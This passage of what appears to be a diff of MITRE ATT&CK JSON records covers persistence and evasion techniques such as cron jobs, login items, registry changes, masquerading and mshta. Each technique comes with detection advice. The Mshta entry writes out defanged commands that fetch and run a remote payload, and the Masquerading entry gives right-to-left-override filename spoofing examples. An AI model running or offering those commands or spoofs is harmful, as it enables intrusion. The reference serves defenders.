"kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--c0a384a4-9a25-40e1-97b6-458388474bc8", + "name": "Local Job Scheduling", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "On Linux and macOS systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike [Scheduled Task](https://attack.mitre.org/techniques/T1053) on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH).\n\n### cron\n\nSystem-wide cron jobs are installed by modifying /etc/crontab file, /etc/cron.d/ directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on macOS and Linux systems.\n\nThose methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence, (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X) (Citation: Avast Linux Trojan Cron Persistence) to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account.\n\n### at\n\nThe at program is another means on POSIX-based systems, including macOS and Linux, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes.\n\n### launchd\n\nEach launchd job is described by a different configuration property list (plist) file similar to [Launch Daemon](https://attack.mitre.org/techniques/T1160) or [Launch Agent](https://attack.mitre.org/techniques/T1159), except there is an additional key called StartCalendarInterval with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X.", + "x_mitre_permissions_required": [ + "Administrator", + "User", + "root" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1162", + "source_name": "mitre-attack", + "external_id": "T1162" + }, + { + "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html", + "source_name": "Adding Login Items", + "description": "Apple. (2016, September 13). Adding Login Items. Retrieved July 11, 2017." + }, + { + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", + "source_name": "Methods of Mac Malware Persistence", + "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017." + }, + { + "url": "https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf", + "source_name": "Malware Persistence on OS X", + "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017." + }, + { + "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/", + "source_name": "OSX.Dok Malware", + "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "File monitoring", + "API monitoring" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "All the login items created via shared file lists are viewable by going to the Apple menu -> System Preferences -> Users & Groups -> Login items. This area (and the corresponding file locations) should be monitored and whitelisted for known good applications. Otherwise, Login Items are located in Contents/Library/LoginItems within an application bundle, so these paths should be monitored as well (Citation: Adding Login Items). Monitor process execution resulting from login actions for unusual or unknown applications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--36675cd3-fe00-454c-8516-aebecacbe9d9", + "name": "Login Item", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "MacOS provides the option to list specific applications to run when a user logs in. These applications run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them (Citation: Adding Login Items). Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). These login items are stored in the user's ~/Library/Preferences/ directory in a plist file called com.apple.loginitems.plist (Citation: Methods of Mac Malware Persistence). Some of these applications can open visible dialogs to the user, but they don\u2019t all have to since there is an option to \u2018Hide\u2019 the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware). The API method SMLoginItemSetEnabled can be used to set Login Items, but scripting languages like [AppleScript](https://attack.mitre.org/techniques/T1155) can do this as well (Citation: Adding Login Items).", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1037", + "source_name": "mitre-attack", + "external_id": "T1037" + }, + { + "url": "https://capec.mitre.org/data/definitions/564.html", + "source_name": "capec", + "external_id": "CAPEC-564" + }, + { + "url": "https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx", + "source_name": "TechNet Logon Scripts", + "description": "Microsoft. (2005, January 21). Creating logon scripts. Retrieved April 27, 2016." + }, + { + "url": "https://support.apple.com/de-at/HT2420", + "source_name": "creating login hook", + "description": "Apple. (2011, June 1). Mac OS X: Creating a login hook. Retrieved July 17, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_system_requirements": [ + "Write access to system or domain logon scripts" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "lateral-movement", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334", + "name": "Logon Scripts", + "created": "2017-05-31T21:30:38.910Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "### Windows\n\nWindows allows logon scripts to be run whenever a specific user or group of users log into a system. (Citation: TechNet Logon Scripts) The scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server.\n\nIf adversaries can access these scripts, they may insert additional code into the logon script to execute their tools when a user logs in. This code can allow them to maintain persistence on a single system, if it is a local script, or to move laterally within a network, if the script is stored on a central server and pushed to many systems. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.\n\n### Mac\n\nMac allows login and logoff hooks to be run as root whenever a specific user logs into or out of a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike startup items, a login hook executes as root (Citation: creating login hook). There can only be one login hook at a time though. If adversaries can access these scripts, they can insert additional code to the script to execute their tools when a user logs in." + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1185", + "source_name": "mitre-attack", + "external_id": "T1185" + }, + { + "url": "https://cobaltstrike.com/downloads/csmanual38.pdf", + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017." + }, + { + "url": "https://en.wikipedia.org/wiki/Man-in-the-browser", + "source_name": "Wikipedia Man in the Browser", + "description": "Wikipedia. (2017, October 28). Man-in-the-browser. Retrieved January 10, 2018." + }, + { + "url": "https://www.cobaltstrike.com/help-browser-pivoting", + "source_name": "Cobalt Strike Browser Pivot", + "description": "Mudge, R. (n.d.). Browser Pivoting. Retrieved January 10, 2018." + }, + { + "url": "https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses", + "source_name": "ICEBRG Chrome Extensions", + "description": "De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Justin Warner, ICEBRG" + ], + "x_mitre_data_sources": [ + "Authentication logs", + "Packet capture", + "Process monitoring", + "API monitoring" + ], + "modified": "2018-10-31T13:45:13.024Z", + "x_mitre_detection": "This is a difficult technique to detect because adversary traffic would be masked by normal user traffic. No new processes are created and no additional software touches disk. Authentication logs can be used to audit logins to specific web applications, but determining malicious logins versus benign logins may be difficult if activity matches typical user behavior. Monitor for process injection against browser applications", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "collection", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47", + "name": "Man in the Browser", + "created": "2018-01-16T16:13:52.465Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries can take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify behavior, and intercept information as part of various man in the browser techniques. (Citation: Wikipedia Man in the Browser)\n\nA specific example is when an adversary injects software into a browser that allows an them to inherit cookies, HTTP sessions, and SSL client certificates of a user and use the browser as a way to pivot into an authenticated intranet. (Citation: Cobalt Strike Browser Pivot) (Citation: ICEBRG Chrome Extensions)\n\nBrowser pivoting requires the SeDebugPrivilege and a high-integrity process to execute. Browser traffic is pivoted from the adversary's browser through the user's browser by setting up an HTTP proxy which will redirect any HTTP and HTTPS traffic. This does not alter the user's traffic in any way. The proxy connection is severed as soon as the browser is closed. Whichever browser process the proxy is injected into, the adversary assumes the security context of that process. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could browse to any resource on an intranet that is accessible through the browser and which the browser has sufficient permissions, such as Sharepoint or webmail. Browser pivoting also eliminates the security provided by 2-factor authentication. (Citation: cobaltstrike manual)", + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1036", + "source_name": "mitre-attack", + "external_id": "T1036" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html", + "source_name": "FireEye APT10 Sept 2018", + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018." + }, + { + "url": "https://resources.infosecinstitute.com/spoof-using-right-to-left-override-rtlo-technique-2/", + "source_name": "Infosecinstitute RTLO Technique", + "description": "Security Ninja. (2015, April 16). Spoof Using Right to Left Override (RTLO) Technique. Retrieved April 22, 2019." + }, + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/plead-targeted-attacks-against-taiwanese-government-agencies-2/", + "source_name": "Trend Micro PLEAD RTLO", + "description": "Alintanahin, K.. (2014, May 23). PLEAD Targeted Attacks Against Taiwanese Government Agencies. Retrieved April 22, 2019." + }, + { + "url": "https://securelist.com/zero-day-vulnerability-in-telegram/83800/", + "source_name": "Kaspersky RTLO Cyber Crime", + "description": "Firsh, A.. (2018, February 13). Zero-day vulnerability in Telegram - Cybercriminals exploited Telegram flaw to launch multipurpose attacks. Retrieved April 22, 2019." + }, + { + "url": "https://www.endgame.com/blog/how-hunt-masquerade-ball", + "source_name": "Endgame Masquerade Ball", + "description": "Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016." + }, + { + "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke", + "source_name": "F-Secure CozyDuke", + "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015." + }, + { + "url": "https://www.welivesecurity.com/2016/03/30/meet-remaiten-a-linux-bot-on-steroids-targeting-routers-and-potentially-other-iot-devices/", + "source_name": "Remaiten", + "description": "Michal Malik AND Marc-Etienne M.L\u00e9veill\u00e9. (2016, March 30). Meet Remaiten \u2013 a Linux bot on steroids targeting routers and potentially other IoT devices. Retrieved September 7, 2017." + }, + { + "url": "https://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/", + "source_name": "Fysbis Palo Alto Analysis", + "description": "Bryan Lee and Rob Downs. (2016, February 12). A Look Into Fysbis: Sofacy\u2019s Linux Backdoor. Retrieved September 10, 2017." + }, + { + "url": "https://vms.drweb.com/virus/?i=4276269", + "source_name": "Fysbis Dr Web Analysis", + "description": "Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017." + }, + { + "url": "https://twitter.com/ItsReallyNick/status/1055321652777619457", + "source_name": "Twitter ItsReallyNick Masquerading Update", + "description": "Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Nick Carr, FireEye", + "David Lu, Tripwire", + "Felipe Esp\u00f3sito, @Pr0teus", + "ENDGAME", + "Bartosz Jerzman" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Binary file metadata" + ], + "modified": "2019-04-25T03:03:11.433Z", + "x_mitre_detection": "Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\n\nIf file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Endgame Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)\n\nFor RTLO, detection methods should include looking for common formats of RTLO characters within filenames such as \"\\u202E\", \"[U+202E]\", and \"%E2%80%AE\". Defenders should also check their analysis tools to ensure they do not interpret the RTLO character and instead print the true name of the a file containing it.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "name": "Masquerading", + "created": "2017-05-31T21:30:38.511Z", + "x_mitre_version": "1.1", + "type": "attack-pattern", + "description": "Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. Several different variations of this technique have been observed.\n\nOne variant is for an executable to be placed in a commonly trusted directory or given the name of a legitimate, trusted program. Alternatively, the filename given may be a close approximation of legitimate programs or something innocuous. An example of this is when a common system utility or program is moved and renamed to avoid detection based on its usage.(Citation: FireEye APT10 Sept 2018) This is done to bypass tools that trust executables by relying on file name or path, as well as to deceive defenders and system administrators into thinking a file is benign by associating the name with something that is thought to be legitimate.\n\nA third variant uses the right-to-left override (RTLO or RLO) character (U+202E) as a means of tricking a user into executing what they think is a benign file type but is actually executable code. RTLO is a non-printing character that causes the text that follows it to be displayed in reverse.(Citation: Infosecinstitute RTLO Technique) For example, a Windows screensaver file named\u00a0March 25 \\u202Excod.scr will display as March 25 rcs.docx. A JavaScript file named photo_high_re\\u202Egnp.js will be displayed as photo_high_resj.png. A common use of this technique is with spearphishing attachments since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.\u00a0\n\n### Windows\nIn another variation of this technique, an adversary may use a renamed copy of a legitimate utility, such as rundll32.exe. (Citation: Endgame Masquerade Ball) An alternative case occurs when a legitimate utility is moved to a different directory and also renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke)\n\nAn example of abuse of trusted locations in Windows would be the C:\\Windows\\System32 directory. Examples of trusted binary names that can be given to malicious binares include \"explorer.exe\" and \"svchost.exe\".\n\n### Linux\nAnother variation of this technique includes malicious binaries changing the name of their running process to that of a trusted or benign process, after they have been launched as opposed to before. (Citation: Remaiten)\n\nAn example of abuse of trusted locations in Linux would be the /bin directory. Examples of trusted binary names that can be given to malicious binares include \"rsyncd\" and \"dbus-inotifier\". (Citation: Fysbis Palo Alto Analysis) (Citation: Fysbis Dr Web Analysis)", + "x_mitre_defense_bypassed": [ + "Whitelisting by file name or path" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1031", + "source_name": "mitre-attack", + "external_id": "T1031" + }, + { + "url": "https://capec.mitre.org/data/definitions/551.html", + "source_name": "capec", + "external_id": "CAPEC-551" + }, + { + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902", + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016." + }, + { + "url": "https://twitter.com/r0wdy_/status/936365549553991680", + "source_name": "Twitter Service Recovery Nov 2017", + "description": "The Cyber (@r0wdy_). (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018." + }, + { + "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)", + "source_name": "Microsoft Service Recovery Feb 2013", + "description": "Microsoft. (2013, February 22). Set up Recovery Actions to Take Place When a Service Fails. Retrieved April 9, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Travis Smith, Tripwire", + "Matthew Demaske, Adaptforward" + ], + "x_mitre_data_sources": [ + "Windows Registry", + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence. (Citation: TechNet Autoruns) \n\nService information is stored in the Registry at HKLM\\SYSTEM\\CurrentControlSet\\Services.\n\nCommand-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute [cmd](https://attack.mitre.org/software/S0106) commands or scripts.\n\nLook for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Services may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b", + "name": "Modify Existing Service", + "created": "2017-05-31T21:30:34.928Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075).\n\nAdversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of [Masquerading](https://attack.mitre.org/techniques/T1036) that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.\n\nAdversaries may also intentionally corrupt or kill services to execute malicious recovery programs/commands. (Citation: Twitter Service Recovery Nov 2017) (Citation: Microsoft Service Recovery Feb 2013)", + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1112", + "source_name": "mitre-attack", + "external_id": "T1112" + }, + { + "url": "https://technet.microsoft.com/en-us/library/cc732643.aspx", + "source_name": "Microsoft Reg", + "description": "Microsoft. (2012, April 17). Reg. Retrieved May 1, 2015." + }, + { + "url": "https://docs.microsoft.com/sysinternals/downloads/reghide", + "source_name": "Microsoft Reghide NOV 2006", + "description": "Russinovich, M. & Sharkey, K. (2006, January 10). Reghide. Retrieved August 9, 2018." + }, + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/poweliks-malware-hides-in-windows-registry/", + "source_name": "TrendMicro POWELIKS AUG 2014", + "description": "Santos, R. (2014, August 1). POWELIKS: Malware Hides In Windows Registry. Retrieved August 9, 2018." + }, + { + "url": "https://posts.specterops.io/hiding-registry-keys-with-psreflect-b18ec5ac8353", + "source_name": "SpectorOps Hiding Reg Jul 2017", + "description": "Reitz, B. (2017, July 14). Hiding Registry keys with PSReflect. Retrieved August 9, 2018." + }, + { + "url": "https://technet.microsoft.com/en-us/library/cc754820.aspx", + "source_name": "Microsoft Remote", + "description": "Microsoft. (n.d.). Enable the Remote Registry Service. Retrieved May 1, 2015." + }, + { + "url": "https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4657", + "source_name": "Microsoft 4657 APR 2017", + "description": "Miroshnikov, A. & Hall, J. (2017, April 18). 4657(S): A registry value was modified. Retrieved August 9, 2018." + }, + { + "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/regdelnull", + "source_name": "Microsoft RegDelNull July 2016", + "description": "Russinovich, M. & Sharkey, K. (2016, July 4). RegDelNull v1.11. Retrieved August 10, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Bartosz Jerzman", + "Travis Smith, Tripwire", + "David Lu, Tripwire" + ], + "x_mitre_data_sources": [ + "Windows Registry", + "File monitoring", + "Process monitoring", + "Process command-line parameters", + "Windows event logs" + ], + "modified": "2019-02-05T23:19:37.684Z", + "x_mitre_detection": "Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Consider enabling Registry Auditing on specific keys to produce an alertable event (Event ID 4657) whenever a value is changed (though this may not trigger when values are created with Reghide or other evasive methods). (Citation: Microsoft 4657 APR 2017) Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file.\n\nMonitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nMonitor for processes, command-line arguments, and API calls associated with concealing Registry keys, such as Reghide. (Citation: Microsoft Reghide NOV 2006) Inspect and cleanup malicious hidden Registry entries using Native Windows API calls and/or tools such as Autoruns (Citation: SpectorOps Hiding Reg Jul 2017) and RegDelNull (Citation: Microsoft RegDelNull July 2016).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + } + ], + "x_mitre_defense_bypassed": [ + "Host forensic analysis" + ], + "id": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "name": "Modify Registry", + "created": "2017-05-31T21:31:23.587Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in Persistence and Execution.\n\nAccess to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility [Reg](https://attack.mitre.org/software/S0075) may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API (see examples).\n\nRegistry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via [Reg](https://attack.mitre.org/software/S0075) or other utilities using the Win32 API. (Citation: Microsoft Reghide NOV 2006) Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to establish Persistence. (Citation: TrendMicro POWELIKS AUG 2014) (Citation: SpectorOps Hiding Reg Jul 2017)\n\nThe Registry of a remote system may be modified to aid in execution of files as part of Lateral Movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often [Valid Accounts](https://attack.mitre.org/techniques/T1078) are required, along with access to the remote system's [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) for RPC communication.", + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ] + }, + { + "external_references": [ + { + "external_id": "T1170", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1170" + }, + { + "url": "https://en.wikipedia.org/wiki/HTML_Application", + "source_name": "Wikipedia HTML Application", + "description": "Wikipedia. (2017, October 14). HTML Application. Retrieved October 27, 2017." + }, + { + "url": "https://msdn.microsoft.com/library/ms536471.aspx", + "source_name": "MSDN HTML Applications", + "description": "Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017." + }, + { + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf", + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017." + }, + { + "url": "https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/", + "source_name": "Red Canary HTA Abuse Part Deux", + "description": "McCammon, K. (2015, August 14). Microsoft HTML Application (HTA) Abuse, Part Deux. Retrieved October 27, 2017." + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html", + "source_name": "FireEye Attacks Leveraging HTA", + "description": "Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R. (2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler. Retrieved October 27, 2017." + }, + { + "source_name": "Airbus Security Kovter Analysis", + "description": "Dove, A. (2016, March 23). Fileless Malware \u2013 A Behavioural Analysis Of Kovter Persistence. Retrieved December 5, 2017." + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html", + "source_name": "FireEye FIN7 April 2017", + "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017." + }, + { + "source_name": "GitHub SubTee The List", + "description": "Smith, C. (2017, July 14). TheList.txt. Retrieved October 27, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Ricardo Dias", + "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank" + ], + "x_mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters" + ], + "modified": "2019-04-29T14:46:20.521Z", + "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\n\nMonitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "execution", + "kill_chain_name": "mitre-attack" + } + ], + "x_mitre_defense_bypassed": [ + "Application whitelisting", + "Digital Certificate Validation" + ], + "id": "attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec", + "name": "Mshta", + "created": "2018-01-16T16:13:52.465Z", + "x_mitre_version": "1.1", + "x_mitre_remote_support": false, + "type": "attack-pattern", + "description": "Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension .hta. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\n\nAdversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nFiles may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))\n\nThey may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta\n\nMshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: GitHub SubTee The List)", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1104", + "source_name": "mitre-attack", + "external_id": "T1104" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detection": "Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure. Relating subsequent actions that may result from Discovery of the system and network information or Lateral Movement to the originating process may also yield useful data.", + "x_mitre_data_sources": [ + 